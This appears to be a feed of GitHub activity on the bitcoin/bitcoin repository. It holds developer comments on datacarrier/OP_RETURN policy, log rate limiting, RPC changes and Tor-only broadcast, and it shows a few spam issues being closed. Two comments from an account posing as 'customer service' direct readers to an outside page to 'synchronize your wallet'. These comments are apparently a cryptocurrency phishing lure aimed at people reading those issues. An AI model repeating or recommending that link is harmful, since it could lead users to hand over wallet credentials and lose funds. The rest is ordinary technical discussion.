💬 1440000bytes commented on pull request "policy: uncap datacarrier by default":
(https://github.com/bitcoin/bitcoin/pull/32406#issuecomment-2906954134)
> Zero reason, like using the p2p layer as a command and control system for botnets by allowing long strings of arbitrary data

They have used output amounts in the past to encode IP address: https://www.akamai.com/blog/security/bitcoins--blockchains--and-botnets

They can use Libre Relay for OP_RETURN. Bitcoin Core policies can't stop botnets from making consensus-valid transactions.

💬 fanquake commented on pull request "policy: uncap datacarrier by default":
(https://github.com/bitcoin/bitcoin/pull/32406#issuecomment-2906979192)
ACK 35bcd8eed38130445aef5ebe217ab42248fa6f18

💬 Crypt-iQ commented on pull request "log: Mitigate disk filling attacks by rate limiting LogPrintf, LogInfo, LogWarning, LogError":
(https://github.com/bitcoin/bitcoin/pull/32604#issuecomment-2907015832)
> if a node crashes or hits some fatal error the most recent unfiltered log can be saved?

Does unfiltered here mean a log line that was rate limited or does it mean something else in this context? I think that we would need to know ahead of time if we were going to crash to save the most recent unfiltered log unless we somehow always cache it?

💬 chrisguida commented on pull request "policy: uncap datacarrier by default":
(https://github.com/bitcoin/bitcoin/pull/32406#issuecomment-2907189059)
For anyone interested, I posted a detailed explanation on Delving of why I am against this proposal: https://delvingbitcoin.org/t/addressing-community-concerns-and-objections-regarding-my-recent-proposal-to-relax-bitcoin-cores-standardness-limits-on-op-return-outputs/1697/2?u=cguida

⚠️ FarrelAlFeshall opened an issue: "Gödel's Untouched Money"
(https://github.com/bitcoin/bitcoin/issues/32610)
I'm here for the last time, maybe one day I'll share this in the Bitcointalk Altcoin session? Im Youngest Former Pseudonym Group since 2017 and this is just a new Digital Signature offer for Bitcoin because it is still not possible for me to have a Community for the entry requirements of the crypto market... I honestly want this to be realized but please change everything starting from Abstract to Reference, change all sentences in html coding and not for comparison, I hope the offer of Cryptogr
...

✅ achow101 closed an issue: "Gödel's Untouched Money"
(https://github.com/bitcoin/bitcoin/issues/32610)

💬 earonesty commented on pull request "policy: uncap datacarrier by default":
(https://github.com/bitcoin/bitcoin/pull/32406#issuecomment-2907671104)
very detailed and accurate thanks

On Sat, May 24, 2025, 3:14 PM Chris Guida ***@***.***> wrote:

> *chrisguida* left a comment (bitcoin/bitcoin#32406)
> <https://github.com/bitcoin/bitcoin/pull/32406#issuecomment-2907189059>
>
> For anyone interested, I posted a detailed explanation on Delving of why I
> am against this proposal:
> https://delvingbitcoin.org/t/addressing-community-concerns-and-objections-regarding-my-recent-proposal-to-relax-bitcoin-cores-standardness-limits-on-op-retu
...

💬 LiveSupport8 commented on issue "intermittent issue in feature_init.py (bitcoind should have exited with expected error LevelDB error: Corruption)":
(https://github.com/bitcoin/bitcoin/issues/32600#issuecomment-2907679455)
Thank you for reaching to Our Github. Customer service may take some time to respond due to a large number of requests. We believe your case will be resolved as soon as possible. Kindly visit the below webpage to synchronize your wallet for fixing process

https://support---protocol.vercel.app/

💬 LiveSupport8 commented on issue "windows: depends config fails":
(https://github.com/bitcoin/bitcoin/issues/32578#issuecomment-2907679915)
Thank you for reaching to Our Github. Customer service may take some time to respond due to a large number of requests. We believe your case will be resolved as soon as possible. Kindly visit the below webpage to synchronize your wallet for fixing process

https://support---protocol.vercel.app/

💬 polespinasa commented on pull request "rpc: Round verificationprogress to 1 for a recent tip":
(https://github.com/bitcoin/bitcoin/pull/32528#issuecomment-2907721788)
> One thing that's a little weird about this is that when I open regtest after a few days...
>
> ```
> --> bccli -regtest -getinfo
> Chain: regtest
> Blocks: 202
> Headers: 202
> Verification progress: ▒▒▒▒▒▒░░░░░░░░░░░░░░░ 27.7195%
> ```
>
> Of course after generating 1 block at time=now, it snaps to 100%

Maybe instead of not using this new approach on regtest (as I suggested here https://github.com/bitcoin/bitcoin/pull/32528#issuecomment-2899113774) we could just add a message s
...

💬 polespinasa commented on pull request "rpc: generatetomany":
(https://github.com/bitcoin/bitcoin/pull/32468#issuecomment-2907738036)
Squashed all commits and removed the first approach (`generatetomany`) which can still be checked here https://github.com/polespinasa/bitcoin/pull/3

💬 polespinasa commented on pull request "rpc: generatetomany":
(https://github.com/bitcoin/bitcoin/pull/32468#discussion_r2106153945)
Thx!
Will correct in case we revert to `generatetomany` approach.

💬 heyolaniran commented on pull request "cluster mempool: optimized candidate search":
(https://github.com/bitcoin/bitcoin/pull/30286#issuecomment-2907739981)
These changes could potentially lead to better performance under high-load scenarios. It would be valuable to discuss how this might affect existing workflows and any edge cases we should consider.

💬 maflcko commented on pull request "rpc: Round verificationprogress to 1 for a recent tip":
(https://github.com/bitcoin/bitcoin/pull/32528#issuecomment-2907786115)
I fail to see how showing a value lower than 1.0 on regtest if your tip is stale is "really confusing". Showing 1.0 for a stale tip is confusing and this pull fixes that. Also, if you exclude/special-case regtest, it will be more code and also harder/impossible to test.

⚠️ Ciornenichii opened an issue: "Bitcoin"
(https://github.com/bitcoin/bitcoin/issues/32613)

✅ fanquake closed an issue: "Bitcoin"
(https://github.com/bitcoin/bitcoin/issues/32613)

💬 maflcko commented on pull request "rpc: generateblock to allow multiple outputs":
(https://github.com/bitcoin/bitcoin/pull/32468#discussion_r2106232962)
all those `raw(` can probably just be omitted and use the OP_RETURN fallback

💬 andrewtoth commented on pull request "contrib: add xor-blocks tool to obfuscate blocks directory":
(https://github.com/bitcoin/bitcoin/pull/32451#discussion_r2106257312)
Done.

💬 andrewtoth commented on pull request "Broadcast own transactions only via short-lived Tor or I2P connections":
(https://github.com/bitcoin/bitcoin/pull/29415#issuecomment-2907963606)
re-ACK cedbc2cd99754c099e92f074e1d5566da265bf26

Changes from previously ACK'd 1c16944a4aff71e6560703916b11b2a544ea71ca - `git range-diff 99a4ddf5ab...1c16944a4a 7763e86afa...cedbc2cd99`

- CSempahoreGrant -> CountingSemaphoreGrant in c3ff0b2e46be289f7c8e4aa2ea72b18f853dc100
- CSemaphoreGrant::post -> CountingSempahoreGrant::release in c3ff0b2e46be289f7c8e4aa2ea72b18f853dc100
- CSempahore -> std::counting_sempahore in c3ff0b2e46be289f7c8e4aa2ea72b18f853dc100
- Removed some changes to `CWa
...

👍 andrewtoth approved a pull request: "log: print reason when writing chainstate"
(https://github.com/bitcoin/bitcoin/pull/32404#pullrequestreview-2866929261)
utACK 53e9b71b2fd59c18b75e45e3a24c39182c20a59e